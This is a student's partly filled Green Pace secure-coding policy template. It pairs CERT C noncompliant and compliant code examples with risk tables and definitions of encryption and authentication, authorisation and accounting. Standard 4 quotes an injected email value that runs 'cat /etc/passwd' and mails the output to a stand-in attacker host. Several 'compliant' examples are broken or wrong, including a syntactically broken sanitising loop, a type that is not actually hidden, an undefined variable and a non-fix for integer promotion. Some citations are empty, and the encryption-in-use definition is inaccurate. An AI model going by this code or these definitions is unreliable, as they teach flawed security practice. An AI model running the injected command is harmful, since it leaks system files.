**Green Pace Developer: Security Policy Guide Template**



Green Pace Secure Development Policy

Contents

[Overview 2](#_Toc52464053)

[Purpose 2](#_Toc52464054)

[Scope 2](#_Toc52464055)

[Module Three Milestone 2](#_Toc52464056)

[Ten Core Security Principles 2](#_Toc52464057)

[C/C++ Ten Coding Standards 3](#_Toc52464058)

[Coding Standard 1 4](#_Toc52464059)

[Coding Standard 2 5](#_Toc52464060)

[Coding Standard 3 6](#_Toc52464061)

[Coding Standard 4 7](#_Toc52464062)

[Coding Standard 5 8](#_Toc52464063)

[Coding Standard 6 9](#_Toc52464064)

[Coding Standard 7 10](#_Toc52464065)

[Coding Standard 8 11](#_Toc52464066)

[Coding Standard 9 13](#_Toc52464067)

[Coding Standard 10 14](#_Toc52464068)

[Defense-in-Depth Illustration 15](#_Toc52464069)

[Project One 15](#_Toc52464070)

[1. Revise the C/C++ Standards 15](#_Toc52464071)

[2. Risk Assessment 15](#_Toc52464072)

[3. Automated Detection 15](#_Toc52464073)

[4. Automation 15](#_Toc52464074)

[5. Summary of Risk Assessments 16](#_Toc52464075)

[6. Create Policies for Encryption and Triple A 16](#_Toc52464076)

[7. Map the Principles 17](#_Toc52464077)

[Audit Controls and Management 18](#_Toc52464078)

[Enforcement 18](#_Toc52464079)

[Exceptions Process 18](#_Toc52464080)

[Distribution 19](#_Toc52464081)

[Policy Change Control 19](#_Toc52464082)

[Policy Version History 19](#_Toc52464083)

[Appendix A Lookups 19](#_Toc52464084)

[Approved C/C++ Language Acronyms 19](#_Toc52464085)

# Overview

Software development at Green Pace requires consistent implementation of secure principles to all developed applications. Consistent approaches and methodologies must be maintained through all policies that are uniformly defined, implemented, governed, and maintained over time.

# Purpose

This policy defines the core security principles; C/C++ coding standards; authorization, authentication, and auditing standards; and data encryption standards. This article explains the differences between policy, standards, principles, and practices (guidelines and procedure): [Understanding the Hierarchy of Principles, Policies, Standards, Procedures, and Guidelines](https://www.linkedin.com/pulse/understanding-hierarchy-principles-policies-standards-wally-beddoe/).

# Scope

This document applies to all staff that create, deploy, or support custom software at Green Pace.

# Module Three Milestone

## Ten Core Security Principles

| **Principles** | Write a short paragraph explaining each of the 10 principles of security. |
| --- | --- |
| 1. ValidateInput Data | “Validate input from all untrusted data sources. Proper input validation can eliminate most software vulnerabilities. Be suspicious of most external data sources, including command line arguments, network interfaces, environmental variables, and user-controlled files” (Seacord, 2018). |
| 1. Heed Compiler Warnings | “Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code. Use static and dynamic analysis tools to detect and eliminate additional security flaws” (Seacord, 2018). |
| 1. Architect and Design for Security Policies | “Create a software architecture and design your software to implement and enforce security policies. For example, if your system requires different privileges at different times, consider dividing the system into distinct intercommunicating subsystems, each with an appropriate privilege set” (Seacord, 2018). |
| 1. Keep It Simple | “Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use. Additionally, the effort required to achieve an appropriate level of assurance increases dramatically as security mechanisms become more complex” (Seacord, 2018). |
| 1. Default Deny | “Base access decisions on permission rather than exclusion. This means that, by default, access is denied, and the protection scheme identifies conditions under which access is permitted” (Seacord, 2018). |
| 1. Adhere to the Principle of Least Privilege | “Every process should execute with the least set of privileges necessary to complete the job. Any elevated permission should only be accessed for the least amount of time required to complete the privileged task. This approach reduces the opportunities an attacker has to execute arbitrary code with elevated privileges” (Seacord, 2018). |
| 1. Sanitize Data Sent to Other Systems | “Sanitize all data passed to complex subsystems such as command shells, relational databases, and commercial off-the-shelf components. Attackers may be able to invoke unused functionality in these components using SQL, command, or other injection attacks. This is not necessarily an input validation problem because the complex subsystem being invoked does not understand the context in which the call is made. Because the calling process understands the context, it is responsible for sanitizing the data before invoking the subsystem” (Seacord, 2018). |
| 1. Practice Defense in Depth | “Manage risk with multiple defensive strategies, so that if one layer of defense turns out to be inadequate, another layer of defense can prevent a security flaw from becoming an exploitable vulnerability and/or limit the consequences of a successful exploit. For example, combining secure programming techniques with secure runtime environments should reduce the likelihood that vulnerabilities remaining in the code at deployment time can be exploited in the operational environment” (Seacord, 2018). |
| 1. Use Effective Quality Assurance Techniques | “Good quality assurance techniques can be effective in identifying and eliminating vulnerabilities. Fuzz testing, penetration testing, and source code audits should all be incorporated as part of an effective quality assurance program. Independent security reviews can lead to more secure systems. External reviewers bring an independent perspective; for example, in identifying and correcting invalid assumptions” (Seacord, 2018). |
| 1. Adopt a Secure Coding Standard | “Develop and/or apply a secure coding standard for your target development language and platform” (Seacord, 2018). |

## C/C++ Ten Coding Standards

Complete the coding standards portion of the template according to the Module Three milestone requirements. In Project One, follow the instructions to add a layer of security to the existing coding standards. Please start each standard on a new page, as they may take up more than one page. The first seven coding standards are labeled by category. The last three are blank so you may choose three additional standards. Be sure to label them by category and give them a sequential number for that category. Add compliant and noncompliant sections as needed to each coding standard.

### Coding Standard 1

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Type** | STD-001-CPP | Create and use abstract data types. |

| **Noncompliant Code** |
| --- |
| “In this non-compliant example, the managed string type is defined in the include file ‘string\_m.h’” (Carnegie Mellon University, 2007). |
| struct string\_mx {  size\_t size;  size\_t maxsize;  unsigned char strtype;  char \*cstr;  };  typedef struct string\_mx \*string\_m; |

| **Compliant Code** |
| --- |
| “This compliant solution reimplements the string\_m type as a private type, hiding the implementation of the data type from the user of the managed string library. To accomplish this, the developer of the private data type creates two include files: an external ‘string\_m.h’ include file that is included by the user of the data type and an internal file that is only included in files that implement the managed string abstract data type” (Carnegie Mellon University, 2007). |
| struct string\_mx {  size\_t size;  size\_t maxsize;  unsigned char strtype;  char \*cstr;  };  struct string\_mx;  typedef struct string\_mx \*string\_m; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Keep it simple. “Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | High | High | 3 |

### Coding Standard 2

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Data Value** | STD-002-CPP | Ensure that integer conversions do not result in lost or  misinterpreted data |

| **Noncompliant Code** |
| --- |
| “Type range errors, including loss of data (truncation) and loss of sign (sign errors), can occur when converting from an unsigned type to a signed type” (Carnegie Mellon University, 2007). |
| unsigned long int ul = ULONG\_MAX;  signed char sc;  sc = (signed char)ul; /\* cast eliminates warning \*/ |

| **Compliant Code** |
| --- |
| “Validate ranges when converting from an unsigned type to a signed type” (Carnegie Mellon University, 2007). |
| unsigned long int ul = ULONG\_MAX;  signed char sc;  if (ul <= SCHAR\_MAX) {  sc = (signed char)ul; /\* use cast to eliminate warning \*/  }  else {  /\* handle error condition \*/  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Heed compiler warnings. “Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code. Use static and dynamic analysis tools to detect and eliminate additional security flaws” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | Medium | 2 |

### Coding Standard 3

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **String Correctness** | STD-003-CPP | Reset strings on fgets() failure. |

| **Noncompliant Code** |
| --- |
| “In this example, an error flag is set upon fgets() failure. However, buf is not reset, and will have unknown contents” (Carnegie Mellon University, 2007). |
| char buf[1024];  FILE \*file;  /\* Initialize file \*/  if (fgets(buf, 1024, file) == NULL) {  /\* set error flag and continue \*/  }  printf("Read in: %s\n", buf); |

| **Compliant Code** |
| --- |
| “After fgets fails, buf is set to an error message” (Carnegie Mellon University, 2007). |
| char buf[1024];  FILE \*file;  /\* Initialize file \*/  if (fgets(buf, 1024, file) == NULL) {  /\* set error flag and continue \*/  strcpy(buf, "fgets failed");  }  printf("Read in: %s\n", buf); |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** [Name the principle and explain how it maps to this standard.] |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Medium | High | 3 |

### Coding Standard 4

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **SQL Injection** | STD-004-CPP | Sanitize data passed to complex subsystems. |

| **Noncompliant Code** |
| --- |
| “Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem” (Carnegie Mellon University, 2007). |
| sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  system(buffer); |

| **Compliant Code** |
| --- |
| “The risk is, of course, that the user enters the following string as an email address:  bogus@addr.com; cat /etc/passwd | mail some@badguy.net  It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. This can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, whitelisting can be used to eliminate dangerous characters from the data” (Carnegie Mellon University, 2007). |
| static char ok\_chars[] = "abcdefghijklmnopqrstuvwxyz\  ABCDEFGHIJKLMNOPQRSTUVWXYZ\  1234567890\_-.@";  char user\_data[] = "Bad char 1:} Bad char 2:{";  char \*cp; /\* cursor into string \*/  for (cp = user\_data; \*(cp += strspn(cp, ok\_chars)); ) } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Sanitize data sent to other systems. “Sanitize all data passed to complex subsystems such as command shells, relational databases, and commercial off-the-shelf (COTS) components” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Likely | Medium | Low | 1 |

### Coding Standard 5

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Memory Protection** | STD-005-CPP | Do not assume memory allocation routines initialize memory. |

| **Noncompliant Code** |
| --- |
| “In this example, a string, str, is copied to a dynamically allocated buffer, buf. If str refers to a block of memory with a length less than MAX\_BUF\_SIZE characters, then the contents of buf from the end of str to the MAX\_BUF\_SIZE character of buf may contain unexpected data from the heap” (Carnegie Mellon University, 2007). |
| char \*buf = malloc(MAX\_BUF\_SIZE);  if (buf == NULL) {  /\* Handle Allocation Error \*/  }  strcpy(buf, str);  /\* process buf \*/  free(buf); |

| **Compliant Code** |
| --- |
| “To correct these types of defects, memory allocated with malloc() or realloc() should be initialized to a known default value. Below, this is done by filling the allocated space with '\0' characters” (Carnegie Mellon University, 2007). |
| char \*buf = malloc(MAX\_BUF\_SIZE);  if (buf == NULL) {  /\* Handle Allocation Error \*/  }  memset(buf,'\0', MAX\_BUF\_SIZE); /\* Initialize memory to default value \*/  strcpy(buf, str);  /\* process buf \*/ |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Model threats. “Use threat modeling to anticipate the threats to which the software will be subjected” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Unlikely | Low | Medium | 2 |

### Coding Standard 6

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Assertions** | STD-006-CPP | Prefer functions that do not rely on file names for identification. |

| **Noncompliant Code** |
| --- |
| “In this example, the function chmod() is called to set the permissions of a file. However, it is not clear whether the file object referred to by file\_name refers to the same object in the call to fopen() and in the call to chmod()” (Carnegie Mellon University, 2007). |
| /\* ... \*/  FILE \* f\_ptr;  f\_ptr = fopen(file\_name,"w");  if (!f\_ptr) {  /\* Handle fopen() Error \*/  }  /\* ... \*/  if (chmod(file\_name, new\_mode) == -1) {  /\* Handle chmod() Error \*/  }  /\* Process file \*/  /\* ... \*/ |

| **Compliant Code** |
| --- |
| “This compliant solution uses variants of the functions used in the non-compliant code example that operate on file descriptors or file pointers rather than file names. This guarantees that the file opened is the same file that is operated on” (Carnegie Mellon University, 2007). |
| /\* ... \*/  fd = open(file\_name, O\_WRONLY | O\_CREAT | O\_EXCL, file\_mode);  if (fd == -1) {  /\* Handle open() error \*/  }  /\* ... \*/  if (fchmod(fd, new\_mode) == -1) {  /\* Handle fchmod() Error \*/  }  /\* Process file \*/  /\* ... \*/ |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Keep it simple. “Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | High | High | 3 |

### Coding Standard 7

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Exceptions** | STD-007-CPP | Use feof() and ferror() to detect end-of-file and file errors. |

| **Noncompliant Code** |
| --- |
| “This non-compliant code example tests to see if the character c is not equal to the EOF character as a loop termination condition” (Carnegie Mellon University, 2007). |
| int c;  do {  /\* ... \*/  c = getchar();  /\* ... \*/  } while (c != EOF); |

| **Compliant Code** |
| --- |
| “This compliant solution uses feof() to test for end-of-file and ferror() to test for errors” (Carnegie Mellon University, 2007). |
| int c;  do {  /\* ... \*/  c = getchar();  /\* ... \*/  } while (!feof(stdin) && !ferror(stdin)); |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Heed compiler warnings. “Compile code using the highest warning level available for your compiler and eliminate warnings by modifying the code” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Low | Unlikely | Medium | High | 3 |

### Coding Standard 8

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **POSIX** | STD-008-CPP | Include a mutex when using bit-fields in a multi-threaded  Environment. |

| **Noncompliant Code** |
| --- |
| “In the following non-compliant code, two threads presumed to be running simultaneously access two separate members of a global struct” (Carnegie Mellon University, 2007). |
| struct multi\_threaded\_flags {  int flag1 : 2;  int flag2 : 2;  };  struct multi\_threaded\_flags flags;  void thread1() {  flags.flag1 = 1;  }  void thread2() {  flags.flag2 = 2;  } |

| **Compliant Code** |
| --- |
| “This compliant solution protects all usage of the flags with a mutex, preventing an unfortunate thread scheduling interleaving from being able to occur” (Carnegie Mellon University, 2007). |
| struct multi\_threaded\_flags {  int flag1 : 2;  int flag2 : 2;  pthread\_mutex\_t mutex;  };  struct multi\_threaded\_flags flags;  void thread1() {  pthread\_mutex\_lock(&flags.mutex);  flags.flag1 = 1;  pthread\_mutex\_unlock(&flags.mutex);  }  void thread2() {  pthread\_mutex\_lock(&flags.mutex);  flags.flag2 = 2;  pthread\_mutex\_unlock(&flags.mutex);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Keep it simple. “Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | Medium | Medium | 2 |

### Coding Standard 9

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **MEM** | STD-009-CPP | Allocate and free memory in the same module, at the same level of  Abstraction. |

| **Noncompliant Code** |
| --- |
| “This example demonstrates an error that can occur when memory is freed in different functions. The array, which is referred to by list and its size, number, are then passed to the verify\_list() function. If the number of elements in the array is less than the value MIN\_SIZE\_ALLOWED, list is processed. Otherwise, it is assumed an error has occurred, list is freed, and the function returns. If the error occurs in verify\_list(), the dynamic memory referred to by list will be freed twice: once in verify\_list() and again at the end of process\_list()” (Carnegie Mellon University, 2007). |
| int verify\_size(char \*list, size\_t list\_size) {  if (size < MIN\_SIZE\_ALLOWED) {  /\* Handle Error Condition \*/  free(list);  return -1;  }  return 0;  }  void process\_list(size\_t number) {  char \*list = malloc(number);  if (list == NULL) {  /\* Handle Allocation Error \*/  }  if (verify\_size(list, number) == -1) {  /\* Handle Error \*/  }  /\* Continue Processing list \*/  free(list);  } |

| **Compliant Code** |
| --- |
| “To correct this problem, the logic in the error handling code in verify\_list() should be changed so that it no longer frees list. This change ensures that list is freed only once, in process\_list()” (Carnegie Mellon University, 2007). |
| int verify\_size(char \*list, size\_t list\_size) {  if (size < MIN\_SIZE\_ALLOWED) {  /\* Handle Error Condition \*/  return -1;  }  return 0;  }  void process\_list(size\_t number) {  char \*list = malloc(number);  if (list == NULL) {  /\* Handle Allocation Error \*/  }  if (verify\_size(list, number) == -1) {  /\* Handle Error \*/  }  /\* Continue Processing list \*/  free(list);  } |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** Keep it simple. “Keep the design as simple and small as possible. Complex designs increase the likelihood that errors will be made in their implementation, configuration, and use” (). |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| High | Probable | High | Medium | 2 |

### Coding Standard 10

| **Coding Standard** | **Label** | **Name of Standard** |
| --- | --- | --- |
| **Conversions** | STD-010-CPP | Understand integer conversion rules. |

| **Noncompliant Code** |
| --- |
| “Integer types smaller than int are promoted when an operation is performed on them. If all values of the original type can be represented as an int, the value of the smaller type is converted to an int; otherwise, it is converted to an unsigned int.  Integer promotions are applied as part of the usual arithmetic conversions to certain argument expressions, operands of the unary +, -, and ~ operators, and operands of the shift operators” (Carnegie Mellon University, 2007). |
| char c1, c2;  c1 = c1 + c2; |

| **Compliant Code** |
| --- |
| “Integer promotions require the promotion of each variable (c1 and c2) to int size. The two ints are added and the sum truncated to fit into the char type.  Integer promotions are performed to avoid arithmetic errors resulting from the overflow of intermediate values” (Carnegie Mellon University, 2007). |
| char cresult, c1, c2, c3;  c1 = 100;  c2 = 90;  c3 = -120;  cresult = c1 + c2 + c3; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

|  |
| --- |
| **Principles(s):** [Name the principle and explain how it maps to this standard.] |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Probable | Medium | Medium | 2 |

## Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



# Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

## Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

## Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

## Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

## Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

The automation will be planned in the Pre-Production Phase. This is because the first step in automating the process is to determine improvements. According to this diagram, automation will be implemented in both the production phase and the Pre-Production Phase. This is done to automate coding standards, avoid repetition, and to find solutions to known problems.

## Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001-CPP | Low | Unlikely | High | High | 3 |
| STD-002-CPP | High | Probable | High | Medium | 2 |
| STD-003-CPP | Low | Unlikely | Medium | High | 3 |
| STD-004-CPP | Medium | Likely | Medium | Low | 1 |
| STD-005-CPP | Medium | Unlikely | Low | Medium | 2 |
| STD-006-CPP | Medium | Probable | High | High | 3 |
| STD-007-CPP | Low | Unlikely | Medium | High | 3 |
| STD-008-CPP | Medium | Probable | Medium | Medium | 2 |
| STD-009-CPP | High | Probable | High | Medium | 2 |
| STD-010-CPP | Medium | Probable | Medium | Medium | 2 |

## Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption in rest | “This includes all information storage objects, containers, and types that exist statically on physical media, whether magnetic or optical disk” (Data security and encryption best practices, 2020). |
| Encryption at flight | The process of encrypting data while being transferred between components, locations, or programs. |
| Encryption in use | Ensures that data is never left unsecured, regardless of stage (Encryption in rest, Encryption at flight, Encryption in use) source, or location. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | Authentication provides a method of identifying a user. |
| Authorization | Authorization provides a method of allowing user to complete certain tasks. |
| Accounting | Accounting provides a method of monitoring the resources used during a user’s network access. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

## Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

# Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

# Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

# Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

# Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

# Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

# Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

# Appendix A Lookups

## Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |

### Citations

Carnegie Mellon University. (2007, September 10). CERT C Programming Language Secure Coding Standard. Confluence. http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1255.pdf

Data security and encryption best practices - Microsoft Azure. (2020, March 9). Microsoft Docs. https://docs.microsoft.com/en-us/azure/security/fundamentals/data-encryption-best-practices

Seacord, R. (2018, May 2). Top 10 Secure Coding Practices. Confluence. https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices